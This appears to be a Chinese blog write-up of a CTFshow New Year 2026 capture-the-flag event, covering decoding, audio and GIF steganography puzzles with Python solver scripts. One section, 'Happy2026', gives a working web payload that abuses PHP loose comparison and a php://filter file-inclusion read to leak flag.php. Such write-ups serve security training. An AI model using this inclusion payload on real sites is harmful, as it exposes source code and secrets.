CTFSHOW-2026元旦跨年欢乐赛
新年快乐!期末复习间偷闲做了一两道
On this page
复现环境:https://ctf.show/competitions/cs2026_replay
热身签到
54515552545455515456547055555566545654495548554855575370515051485150515453705555545755525456537054515551515051485150515450495568
一共128位,且每两位都在ASCII码范围,写一个脚本解码
flag = '54515552545455515456547055555566545654495548554855575370515051485150515453705555545755525456537054515551515051485150515450495568'
decode_flag = ''
for i in range(0,len(flag),2):
temp = flag[i:i+2]
decode_flag += chr(int(temp))
print(decode_flag)
得出来结果为:
63746673686F777B68617070795F323032365F776974685F637332303236217D
看起来像十六进制
a = bytes.fromhex(decode_flag).decode('utf-8')
print(a)
得到flag:
ctfshow{happy_2026_with_cs2026!}
HappySong
将下载的drum_bits.wav拖到Audacity看一下


很明显,一个0一个1
import wave
import struct
def solve_drum_frequency():
filename = 'drum_bits.wav'
try:
f = wave.open(filename, 'rb')
params = f.getparams()
nchannels, sampwidth, framerate, nframes = params[:4]
str_data = f.readframes(nframes)
f.close()
except:
print("[-] 找不到文件或格式错误")
return
# 转为整数列表
total_samples = len(str_data) // 2
wave_data = struct.unpack("<" + "h" * total_samples, str_data)
# 参数设置
step = int(framerate * 0.1) # 每个鼓点大约占用的采样数 (0.1秒)
silence_threshold = 2000 # 噪音门限,用来定位鼓点开始的位置
beat_stats = [] # 存储每个鼓点的特征(过零率)
i = 0
length = len(wave_data)
print("[*] 正在分析波形频率特征...")
while i < length - step:
val = abs(wave_data[i])
# 1. 发现鼓点开始(音量超过静音阈值)
if val > silence_threshold:
# 截取这一段鼓点的音频数据
chunk = wave_data[i: i + step]
# 2. 计算过零率 (Zero Crossing Rate) - 核心逻辑
# 统计这一段波形穿过 0 轴的次数,次数越多说明频率越高
zero_crossings = 0
for k in range(len(chunk) - 1):
# 如果相邻两个点符号相反(一个正一个负),就是穿过了一次 0
if chunk[k] * chunk[k + 1] < 0:
zero_crossings += 1
beat_stats.append(zero_crossings)
# 跳过这段,防止重复检测
i += step
else:
i += 1
if not beat_stats:
print("[-] 未检测到鼓点,请降低 silence_threshold")
return
# 3. 区分 0 和 1
# 计算平均过零率,作为分界线
avg_zcr = sum(beat_stats) / len(beat_stats)
print(f"[*] 捕捉到 {len(beat_stats)} 个鼓点。平均过零率: {avg_zcr:.2f}")
binary_str = ""
for zcr in beat_stats:
# 如果过零率高 -> 是右边那个密集的波形 -> 假设为 1
if zcr > avg_zcr:
binary_str += "1"
# 如果过零率低 -> 是左边那个稀疏的波形 -> 假设为 0
else:
binary_str += "0"
print(f"\n[+] 生成二进制串:\n{binary_str}")
# 4. 解码函数
def decode(b_str):
try:
chars = []
for k in range(0, len(b_str), 8):
byte = b_str[k:k + 8]
chars.append(chr(int(byte, 2)))
return "".join(chars)
except:
return "ERROR"
# 尝试解码
# 假设:密集的(High Freq) = 1, 稀疏的(Low Freq) = 0
print("\n[+] 解码尝试 (密集=1, 稀疏=0):")
res1 = decode(binary_str)
print(res1)
# 假设:密集的(High Freq) = 0, 稀疏的(Low Freq) = 1
print("\n[+] 解码尝试 (密集=0, 稀疏=1):")
inverted_str = "".join(['0' if x == '1' else '1' for x in binary_str])
res2 = decode(inverted_str)
print(res2)
if __name__ == '__main__':
solve_drum_frequency()
Happy2026
题目:
<?php
error_reporting(0);
highlight_file(__FILE__);
$happy = $_GET['happy'];
$new = $_GET['new'];
$year = $_GET['year'];
if($year==2026 && $year!==2026 && is_numeric($year)){
include $happy[$new[$year]];
}
考的是php的弱类型和数组嵌套
payload:
?year=2026&new[2026]=a&happy[a]=php://filter/read=convert.base64-encode/resource=flag.php
得到结果:
PD9waHAgJGZsYWc9J2N0ZnNob3d7NzMwMDI4YzktN2YzNi00YmQ4LTliNGItYWYxYTJiNzU5MGQ1fSc7Cg==
解码一下
ctfshow{730028c9-7f36-4bd8-9b4b-af1a2b7590d5}
happyEmoji
先看一下描述
这天小狐狸和一个很好看的姑娘成了好朋友,他很开心。于是他用她发给他的表情写了一段话,分享给更多的朋友,现在大家都开心了。 1. 每一串是一个字母 2. 有眼睛就能做
这道题误以为是简单的看0和1了,最后没做出来。
我的错误思路:
导到ps看一下,
一共有四个部分,然后每个部分截取两帧出来,然后叠加相消得到,四张这样的图片,然后写代码读取。

最后没做出来
看了一下官方的wp,发现跟转速还有关。
贴个官方脚本
import PIL.Image as Image , numpy as np ,libnum,base64
gif = Image.open('./flag.gif')
dh,dw ,dfh,binstr = gif.height//6,gif.width//30 ,42,''
for p in range(4): #一共四页
gif.seek(p*31+1) #31张一轮
gif_np=np.array(gif)[:,:,0]
for r in range(6):#6行
for c in range(30): #30列
for f in range(4): # 每串4个球
face =(255-gif_np[r*dh+f*dfh :r*dh+f*dfh+dfh,c*dw:c*dw+dw]).sum()/1000
if face >=33: binstr+='00'
elif face >=30 : binstr+='01'
elif face >=26 :binstr+='10'
else: binstr+='11'
print(base64.b64decode(libnum.b2s(binstr).decode()).decode())